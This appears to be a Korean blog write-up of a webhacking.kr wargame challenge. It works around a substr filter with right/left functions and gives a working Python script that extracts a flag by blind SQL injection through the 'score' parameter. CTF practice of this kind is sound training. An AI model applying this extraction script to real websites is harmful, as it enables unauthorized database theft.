반응형
문제
flag 값은 테이블의 세번째 컬럼에 위치하는 것을 알 수 있다.
문제풀이
score 누르면 아래 그림과 같이 아이디와 점수가 나온다.
score를 조작하여 blind injection을 할 수 있다.
procedure analyse()를 통해 세번째 컬럼을 확인한다.
length를 통해 flag의 길이를 구하고, susbstr를 통해 문자를 구하려고 했는데, substr 이용하면 "no hack" 화면이 뜨며 필터링 되는 것을 확인할 수 있다.
검색을 통해 right&left 함수가 susbtr 함수와 동일하게 동작할 수 있는 것을 알게 되었다. 이를 바탕으로 코드는 아래와 같다.
import requests
import string
cookie={"cookie":"'PHPSESSID'=''"}
url="https://webhacking.kr/challenge/web-31/rank.php?score=1||"
# flag length
flag_len=0
for i in range(0,50):
query="length(p4ssw0rd_1123581321)={}".format(i)
res=requests.get(url+query,cookies=cookie)
if (res.text.find("jisu8110")!=-1):
flag_len=i
break
print("길이:{}".format(flag_len))
# flag
flag=""
for i in range(1,flag_len+1):
for j in range(33,128):
query="ord(right(left(p4ssw0rd_1123581321,{}),1))={}".format(i,j)
res=requests.get(url+query, cookies=cookie)
if (res.text.find("jisu8110")!=-1):
flag+=chr(j)
print(flag)
break
print("flag:{}".format(flag))
반응형
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-57 (0) | 2023.01.11 |
---|---|
[Webhacking.kr] old-56 (0) | 2023.01.10 |
[Webhacking.kr] old-54 (0) | 2023.01.09 |
[Webhacking.kr] old-53 (0) | 2023.01.09 |
[Webhacking.kr] old-52 (0) | 2023.01.09 |